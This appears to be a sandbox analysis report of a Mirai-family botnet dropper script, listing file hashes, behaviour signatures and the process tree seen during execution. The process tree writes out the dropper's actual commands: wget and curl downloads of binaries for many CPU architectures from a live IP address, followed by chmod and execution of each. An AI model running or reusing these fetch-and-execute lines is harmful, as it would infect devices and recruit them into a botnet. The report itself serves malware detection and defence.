Overview

overview

10

Static

static

1

ohsitsvegawellrip.sh

ubuntu-18.04-amd64

10

ohsitsvegawellrip.sh

debian-9-armhf

10

ohsitsvegawellrip.sh

debian-9-mips

10

ohsitsvegawellrip.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    160s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    27/03/2025, 12:13

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    ohsitsvegawellrip.sh

  • Size

    3KB

  • MD5

    bd5e291801c56bce037d4222db8048a8

  • SHA1

    604dbdedf1611a4e40546cb19455c5d49bdd2537

  • SHA256

    75c2685fac6f7d0eb80f04d174e8977d0363398e9c2852b1939d9951606331c5

  • SHA512

    5cfc3d4e72d492e24418106f2713525e544be0bd47342f59ce7d3beba59f59a2540bfab00b6a219df644840911bf4144cabcc4111b989afdbd7b1e520e2ffa07

Score
10/10
miraiantivmbotnetcredential_accessdefense_evasiondiscovery

Malware Config

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

    botnetmirai
  • Mirai family
    mirai
  • Contacts a large (14718) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 24 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Enumerates active TCP sockets 1 TTPs 11 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

    discovery
  • Reads process memory 1 TTPs 20 IoCs

    Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.

    credential_access
  • Changes its process name 12 IoCs
  • Checks CPU configuration 1 TTPs 15 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads system network configuration 1 TTPs 11 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

    discovery
  • Reads runtime system information 30 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 30 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohsitsvegawellrip.sh
    /tmp/ohsitsvegawellrip.sh
    1⤵
    • Executes dropped EXE
    • System Network Configuration Discovery
    • Writes file to tmp directory
    PID:646
    • /usr/bin/wget
      wget http://196.251.86.49/bins/k03ldc.x86
      2⤵
      • Writes file to tmp directory
      PID:649
    • /usr/bin/curl
      curl -O http://196.251.86.49/bins/k03ldc.x86
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:664
    • /bin/cat
      cat k03ldc.x86
      2⤵
        PID:672
      • /bin/chmod
        chmod +x k03ldc.x86 loudscream ohsitsvegawellrip.sh systemd-private-2ca27ba681bb4d4f8537aa7ba94dc411-systemd-timedated.service-5SFM17
        2⤵
        • File and Directory Permissions Modification
        PID:674
      • /tmp/loudscream
        ./loudscream .x86
        2⤵
          PID:676
        • /usr/bin/wget
          wget http://196.251.86.49/bins/k03ldc
          2⤵
            PID:678
          • /usr/bin/curl
            curl -O http://196.251.86.49/bins/k03ldc.mips
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:680
          • /bin/cat
            cat k03ldc.mips
            2⤵
            • System Network Configuration Discovery
            PID:684
          • /bin/chmod
            chmod +x k03ldc.mips k03ldc.x86 loudscream ohsitsvegawellrip.sh systemd-private-2ca27ba681bb4d4f8537aa7ba94dc411-systemd-timedated.service-5SFM17
            2⤵
            • File and Directory Permissions Modification
            PID:685
          • /tmp/loudscream
            ./loudscream .mips
            2⤵
            • System Network Configuration Discovery
            PID:686
          • /usr/bin/wget
            wget http://196.251.86.49/bins/k03ldc.mpsl
            2⤵
            • Writes file to tmp directory
            PID:688
          • /usr/bin/curl
            curl -O http://196.251.86.49/bins/k03ldc.mpsl
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:689
          • /bin/cat
            cat k03ldc.mpsl
            2⤵
              PID:695
            • /bin/chmod
              chmod +x k03ldc.mips k03ldc.mpsl k03ldc.x86 loudscream ohsitsvegawellrip.sh systemd-private-2ca27ba681bb4d4f8537aa7ba94dc411-systemd-timedated.service-5SFM17
              2⤵
              • File and Directory Permissions Modification
              PID:697
            • /tmp/loudscream
              ./loudscream .mpsl
              2⤵
                PID:698
              • /usr/bin/wget
                wget http://196.251.86.49/bins/k03ldc.arm
                2⤵
                • Writes file to tmp directory
                PID:701
              • /usr/bin/curl
                curl -O http://196.251.86.49/bins/k03ldc.arm
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:707
              • /bin/cat
                cat k03ldc.arm
                2⤵
                  PID:712
                • /bin/chmod
                  chmod +x k03ldc.arm k03ldc.mips k03ldc.mpsl k03ldc.x86 loudscream ohsitsvegawellrip.sh systemd-private-2ca27ba681bb4d4f8537aa7ba94dc411-systemd-timedated.service-5SFM17
                  2⤵
                  • File and Directory Permissions Modification
                  PID:714
                • /tmp/loudscream
                  ./loudscream .arm
                  2⤵
                  • Modifies Watchdog functionality
                  • Changes its process name
                  PID:716
                • /usr/bin/wget
                  wget http://196.251.86.49/bins/k03ldc.arm5
                  2⤵
                  • Writes file to tmp directory
                  PID:719
                • /usr/bin/curl
                  curl -O http://196.251.86.49/bins/k03ldc.arm5
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:727
                • /bin/chmod
                  chmod +x k03ldc.arm k03ldc.arm5 k03ldc.mips k03ldc.mpsl k03ldc.x86 loudscream ohsitsvegawellrip.sh systemd-private-2ca27ba681bb4d4f8537aa7ba94dc411-systemd-timedated.service-5SFM17
                  2⤵
                  • File and Directory Permissions Modification
                  PID:734
                • /tmp/loudscream
                  ./loudscream .arm5
                  2⤵
                  • Modifies Watchdog functionality
                  • Enumerates active TCP sockets
                  • Changes its process name
                  • Reads system network configuration
                  PID:736
                • /usr/bin/wget
                  wget http://196.251.86.49/bins/k03ldc.arm6
                  2⤵
                  • Writes file to tmp directory
                  PID:786
                • /usr/bin/curl
                  curl -O http://196.251.86.49/bins/k03ldc.arm6
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:790
                • /bin/chmod
                  chmod +x k03ldc.arm k03ldc.arm5 k03ldc.arm6 k03ldc.mips k03ldc.mpsl k03ldc.x86 loudscream ohsitsvegawellrip.sh systemd-private-2ca27ba681bb4d4f8537aa7ba94dc411-systemd-timedated.service-5SFM17
                  2⤵
                  • File and Directory Permissions Modification
                  PID:792
                • /tmp/loudscream
                  ./loudscream .arm6
                  2⤵
                  • Modifies Watchdog functionality
                  • Enumerates active TCP sockets
                  • Changes its process name
                  • Reads system network configuration
                  PID:793
                • /usr/bin/wget
                  wget http://196.251.86.49/bins/k03ldc.arm7
                  2⤵
                  • Writes file to tmp directory
                  PID:796
                • /usr/bin/curl
                  curl -O http://196.251.86.49/bins/k03ldc.arm7
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:802
                • /bin/chmod
                  chmod +x k03ldc.arm k03ldc.arm5 k03ldc.arm6 k03ldc.arm7 k03ldc.mips k03ldc.mpsl k03ldc.x86 loudscream ohsitsvegawellrip.sh systemd-private-2ca27ba681bb4d4f8537aa7ba94dc411-systemd-timedated.service-5SFM17
                  2⤵
                  • File and Directory Permissions Modification
                  PID:804
                • /tmp/loudscream
                  ./loudscream .arm7
                  2⤵
                  • Modifies Watchdog functionality
                  • Enumerates active TCP sockets
                  • Changes its process name
                  • Reads system network configuration
                  PID:805
                • /usr/bin/wget
                  wget http://196.251.86.49/bins/k03ldc.ppc
                  2⤵
                  • Writes file to tmp directory
                  PID:808
                • /usr/bin/curl
                  curl -O http://196.251.86.49/bins/k03ldc.ppc
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:812
                • /bin/chmod
                  chmod +x k03ldc.arm k03ldc.arm5 k03ldc.arm6 k03ldc.arm7 k03ldc.mips k03ldc.mpsl k03ldc.ppc k03ldc.x86 loudscream ohsitsvegawellrip.sh systemd-private-2ca27ba681bb4d4f8537aa7ba94dc411-systemd-timedated.service-5SFM17
                  2⤵
                  • File and Directory Permissions Modification
                  PID:814
                • /tmp/loudscream
                  ./loudscream .ppc
                  2⤵
                  • Modifies Watchdog functionality
                  • Enumerates active TCP sockets
                  • Changes its process name
                  • Reads system network configuration
                  PID:815
                • /usr/bin/wget
                  wget http://196.251.86.49/bins/k03ldc.m68k
                  2⤵
                  • Writes file to tmp directory
                  PID:820
                • /usr/bin/curl
                  curl -O http://196.251.86.49/bins/k03ldc.m68k
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:824
                • /bin/chmod
                  chmod +x k03ldc.arm k03ldc.arm5 k03ldc.arm6 k03ldc.arm7 k03ldc.m68k k03ldc.mips k03ldc.mpsl k03ldc.ppc k03ldc.x86 loudscream ohsitsvegawellrip.sh
                  2⤵
                  • File and Directory Permissions Modification
                  PID:829
                • /tmp/loudscream
                  ./loudscream .m68k
                  2⤵
                  • Modifies Watchdog functionality
                  • Enumerates active TCP sockets
                  • Changes its process name
                  • Reads system network configuration
                  PID:830
                • /usr/bin/wget
                  wget http://196.251.86.49/bins/k03ldc.sh4
                  2⤵
                  • Writes file to tmp directory
                  PID:833
                • /usr/bin/curl
                  curl -O http://196.251.86.49/bins/k03ldc.sh4
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:837
                • /bin/chmod
                  chmod +x k03ldc.arm k03ldc.arm5 k03ldc.arm6 k03ldc.arm7 k03ldc.m68k k03ldc.mips k03ldc.mpsl k03ldc.ppc k03ldc.sh4 k03ldc.x86 loudscream ohsitsvegawellrip.sh
                  2⤵
                  • File and Directory Permissions Modification
                  PID:839
                • /tmp/loudscream
                  ./loudscream .sh4
                  2⤵
                  • Modifies Watchdog functionality
                  • Enumerates active TCP sockets
                  • Changes its process name
                  • Reads system network configuration
                  PID:840
                • /usr/bin/wget
                  wget http://196.251.86.49/bins/k03ldc.spc
                  2⤵
                  • Writes file to tmp directory
                  PID:845
                • /usr/bin/curl
                  curl -O http://196.251.86.49/bins/k03ldc.spc
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:849
                • /bin/chmod
                  chmod +x k03ldc.arm k03ldc.arm5 k03ldc.arm6 k03ldc.arm7 k03ldc.m68k k03ldc.mips k03ldc.mpsl k03ldc.ppc k03ldc.sh4 k03ldc.spc k03ldc.x86 loudscream ohsitsvegawellrip.sh
                  2⤵
                  • File and Directory Permissions Modification
                  PID:851
                • /tmp/loudscream
                  ./loudscream .spc
                  2⤵
                  • Modifies Watchdog functionality
                  • Enumerates active TCP sockets
                  • Changes its process name
                  • Reads system network configuration
                  PID:852
                • /usr/bin/wget
                  wget http://196.251.86.49/bins/k03ldc.arc
                  2⤵
                  • Writes file to tmp directory
                  PID:855
                • /usr/bin/curl
                  curl -O http://196.251.86.49/bins/k03ldc.arc
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:859
                • /bin/chmod
                  chmod +x k03ldc.arc k03ldc.arm k03ldc.arm5 k03ldc.arm6 k03ldc.arm7 k03ldc.m68k k03ldc.mips k03ldc.mpsl k03ldc.ppc k03ldc.sh4 k03ldc.spc k03ldc.x86 loudscream ohsitsvegawellrip.sh
                  2⤵
                  • File and Directory Permissions Modification
                  PID:861
                • /tmp/loudscream
                  ./loudscream .arc
                  2⤵
                  • Modifies Watchdog functionality
                  • Enumerates active TCP sockets
                  • Changes its process name
                  • Reads system network configuration
                  PID:862
                • /usr/bin/wget
                  wget http://196.251.86.49/bins/k03ldc.x86_64
                  2⤵
                  • Writes file to tmp directory
                  PID:867
                • /usr/bin/curl
                  curl -O http://196.251.86.49/bins/k03ldc.x86_64
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:871
                • /bin/chmod
                  chmod +x k03ldc.arc k03ldc.arm k03ldc.arm5 k03ldc.arm6 k03ldc.arm7 k03ldc.m68k k03ldc.mips k03ldc.mpsl k03ldc.ppc k03ldc.sh4 k03ldc.spc k03ldc.x86 k03ldc.x86_64 loudscream ohsitsvegawellrip.sh
                  2⤵
                  • File and Directory Permissions Modification
                  PID:873
                • /tmp/loudscream
                  ./loudscream .x86_64
                  2⤵
                  • Modifies Watchdog functionality
                  • Enumerates active TCP sockets
                  • Changes its process name
                  • Reads system network configuration
                  PID:874
                • /usr/bin/wget
                  wget http://196.251.86.49/bins/k03ldc.i686
                  2⤵
                  • Writes file to tmp directory
                  PID:879
                • /usr/bin/curl
                  curl -O http://196.251.86.49/bins/k03ldc.i686
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:883
                • /bin/chmod
                  chmod +x k03ldc.arc k03ldc.arm k03ldc.arm5 k03ldc.arm6 k03ldc.arm7 k03ldc.i686 k03ldc.m68k k03ldc.mips k03ldc.mpsl k03ldc.ppc k03ldc.sh4 k03ldc.spc k03ldc.x86 k03ldc.x86_64 loudscream ohsitsvegawellrip.sh
                  2⤵
                  • File and Directory Permissions Modification
                  PID:885
                • /tmp/loudscream
                  ./loudscream .i686
                  2⤵
                  • Modifies Watchdog functionality
                  • Enumerates active TCP sockets
                  • Changes its process name
                  • Reads system network configuration
                  PID:886
                • /usr/bin/wget
                  wget http://196.251.86.49/bins/k03ldc.i486
                  2⤵
                  • Writes file to tmp directory
                  PID:890
                • /usr/bin/curl
                  curl -O http://196.251.86.49/bins/k03ldc.i486
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:894
                • /bin/chmod
                  chmod +x k03ldc.arc k03ldc.arm k03ldc.arm5 k03ldc.arm6 k03ldc.arm7 k03ldc.i486 k03ldc.i686 k03ldc.m68k k03ldc.mips k03ldc.mpsl k03ldc.ppc k03ldc.sh4 k03ldc.spc k03ldc.x86 k03ldc.x86_64 loudscream ohsitsvegawellrip.sh
                  2⤵
                  • File and Directory Permissions Modification
                  PID:896
                • /tmp/loudscream
                  ./loudscream .i486
                  2⤵
                  • Modifies Watchdog functionality
                  • Enumerates active TCP sockets
                  • Reads process memory
                  • Changes its process name
                  • Reads system network configuration
                  PID:897

              Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • /tmp/k03ldc.x86
                Filesize

                53KB

                MD5

                24356e787f328a42cc9ea7ec243e9814

                SHA1

                a3ef01ab629812d31fd18f35a0414a464e832f39

                SHA256

                129a3f3ab60b25f8cc9ccb21136710f486cdf8269f0b3c67ef44f88cecd107ac

                SHA512

                0a05e80260cbe65030dd70448d6951c4f9d6f8e1a3a47b33cf13c64a3dfdc302f6a50f5322cf094e167744dc2b29c03905d9386e4870069b59b5588396c0c5dd

                Download Submit

              • /tmp/loudscream
                Filesize

                78KB

                MD5

                4ac71305f9f8e2f1d6a13ac33f003d02

                SHA1

                b8c389354df8e07b3022212150ea5984b9903870

                SHA256

                8f0b4107429b21c6994d052ee2b00024a43d11edb44bee6062176fcf46a16767

                SHA512

                4f73a1c9806c157840b9109d9b575db765160c5e04293d241a321dcbfce9e506cb956d2645e790ef1d9b985ceb0a323bad60b7fbefc5b990b2ceaa4aed93d465

                Download Submit

              • /tmp/loudscream
                Filesize

                78KB

                MD5

                312227d16d63cec249f9641298f59e2a

                SHA1

                81286a7597155a401699d317ba0a18c218aab3f5

                SHA256

                09f3b93891d420d9c1d71b598a31d2aec6491a9c291e5884dd2ee5d7a53ea17f

                SHA512

                3351ce2709a7da9d0acf79e12e1cd77a37d62cf3a7c67750f7ec2e98db7395b2ce61c31981a4c9b6249ecd50cd71460368c88f2b1e931b284d3ff7ae3e3d72a6

                Download Submit

              • /tmp/loudscream
                Filesize

                60KB

                MD5

                c20c92ebd7cecdd6ef656f6d425e3242

                SHA1

                951665501fc12de31efe77c51b12c7ac4610b9e7

                SHA256

                be6cc74534d0cdfa641b204e51dd9bd23d00dbd41c1b4dbe23908198de459179

                SHA512

                4a38d85572f2ae12c941d9c155131172c958307970c2d93d88c1ce836763bc9cf4e76a91c2de328921a077adaced95298684c4bffb87c2654a43ac255c93863f

                Download Submit